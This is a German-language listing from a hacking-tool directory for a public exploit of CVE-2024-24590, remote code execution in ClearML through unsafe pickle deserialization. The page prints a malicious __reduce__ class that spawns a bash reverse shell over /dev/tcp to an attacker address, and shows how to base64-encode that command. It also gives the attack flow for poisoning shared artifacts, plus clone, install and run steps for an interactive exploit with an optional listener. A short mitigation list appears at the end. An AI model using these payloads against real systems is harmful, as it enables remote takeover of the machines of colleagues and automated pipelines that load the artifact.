Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-24590-ClearML-RCE-Exploit — CVE-2024-24590 – ClearML RCE via unsichere Pickle-Artefakt-Deserialisierung (0.17.0–1.14.2) | Kitploit
Tools/GitHubGitHub/rippsec/cve-2024-24590-clearml-rce-exploit
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsCommand and ControlLernen & BildungRed TeamingRemote-Access-Tool
GitHubrippsec/cve-2024-24590-clearml-rce-exploit

CVE-2024-24590-ClearML-RCE-Exploit

CVE-2024-24590 – ClearML RCE via unsichere Pickle-Artefakt-Deserialisierung (0.17.0–1.14.2)

Repository anzeigen
623vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2024-24590 — ClearML Pickle-Artefakt RCE

Übersicht

FeldDetails
CVECVE-2024-24590
SoftwareClearML
Betroffene Versionen0.17.0 – 1.14.2
SicherheitslückeUnsicheres Pickle-Deserialisieren von Aufgabenartefakten
AuthentifizierungErfordert Schreibzugriff auf ein ClearML-Projekt
AuswirkungRemote-Code-Ausführung auf jedem Rechner, der das Artefakt lädt
Getestet aufUbuntu 22.04, Python 3.9+

Beschreibung

ClearML ist eine MLOps-Plattform, die zum Verfolgen von Experimenten, Verwalten von Datensätzen und Teilen von Artefakten (Modellen, Dateien, Objekten) zwischen Teammitgliedern verwendet wird. Wenn ein Aufgabenartefakt als Python-Objekt hochgeladen wird, serialisiert ClearML es mit dem Python-Modul pickle. Wenn ein anderer Benutzer dieses Artefakt herunterlädt und lädt, deserialisiert ClearML es – ebenfalls mit pickle – ohne Integritätsprüfung oder Klassen-Zulassungsliste.

Ein Angreifer mit Schreibzugriff auf ein gemeinsam genutztes ClearML-Projekt kann ein schädliches Artefakt mit einer überschriebenen __reduce__-Methode hochladen. Jedes Teammitglied oder jede automatisierte Pipeline, die dieses Artefakt abruft und lädt, führt während der Deserialisierung die Nutzlast des Angreifers aus, was zu einer RCE auf dessen Rechner führt.

Technische Details

Ursache

Das Python-Modul pickle ist grundsätzlich unsicher für nicht vertrauenswürdige Eingaben. Die magische Methode __reduce__ einer Klasse steuert, wie sie während der Deserialisierung rekonstruiert wird – sie kann beliebige aufrufbare Objekte und Argumente zurückgeben, einschließlich os.system:

class exploit:
    def __reduce__(self):
        return os.system, ("bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'",)

Wenn dies gepickled und später entpickled wird, ruft Python im Rahmen der Objekt-Rekonstruktion os.system(cmd) auf – bevor der Aufrufer überhaupt die Möglichkeit hat, das Objekt zu überprüfen.

Angriffsablauf

Attacker (project write access)
    │
    ▼
task = Task.init(project_name="shared-project", task_name="exploit")
task.upload_artifact("model", artifact_object=exploit())
    │
    ▼
ClearML server stores artifact as a pickled binary blob
    │
    ▼
Victim fetches artifact (automated pipeline / manual review)
    task.artifacts["model"].get()
    │
    ▼
pickle.loads(blob) → __reduce__ fires → os.system(reverse_shell_cmd)
    │
    ▼
Reverse shell connects back to attacker

Nutzlast-Kodierung

Der Befehl für die Reverse Shell wird vor der Einbettung Base64-kodiert, um Probleme mit Shell-Quoting im serialisierten String zu vermeiden:

bash_cmd = f'bash -c "bash -i >& /dev/tcp/{ip}/{port} 0>&1"'
b64 = base64.b64encode(bash_cmd.encode()).decode()
cmd = f'echo {b64} | base64 -d | sh'

Voraussetzungen

  • Ein ClearML-Konto mit Schreibzugriff auf mindestens ein Projekt auf dem Zielserver.
  • Das Opfer muss das Artefakt deserialisieren (es über das ClearML SDK abrufen).

Installation

git clone https://github.com/rippsec/CVE-2024-24590-ClearML-RCE-Exploit.git
cd CVE-2024-24590-ClearML-RCE-Exploit
pip install -r requirements.txt

Anforderungen: clearml, pwntools, colorama

Verwendung

python3 exploit.py

Das interaktive Menü führt durch zwei Schritte:

Schritt 1 — ClearML initialisieren (Option 1)

Führt clearml-init aus, um die Anmeldeinformationen für den Ziel-ClearML-Server zu konfigurieren. Sichert zunächst eine vorhandene ~/clearml.conf.

Schritt 2 — Exploit ausführen (Option 2)

Fordert zur Eingabe auf:

  • Ihre Listener-IP
  • Ihren Listener-Port
  • Den Namen des Zielprojekts (groß-/kleinschreibungssensitiv – muss ein Projekt sein, für das Sie Schreibzugriff haben)

Startet optional automatisch einen pwncat-Listener, bevor das Artefakt hochgeladen wird.

screenshot

Abhilfe

  • Aktualisieren Sie auf ClearML ≥ 1.14.3, das die Artefakt-Deserialisierung einschränkt.
  • Überprüfen Sie die Projektzugriffskontrollen – beschränken Sie Schreibzugriff auf vertrauenswürdige Benutzer.
  • Behandeln Sie ClearML-Artefaktspeicher als eine nicht vertrauenswürdige Codeausführungsoberfläche, wenn Sie ältere Versionen verwenden.

Referenzen

  • NVD-Eintrag
  • ClearML GitHub
  • Python-Pickle-Sicherheitswarnung
Tool herunterladen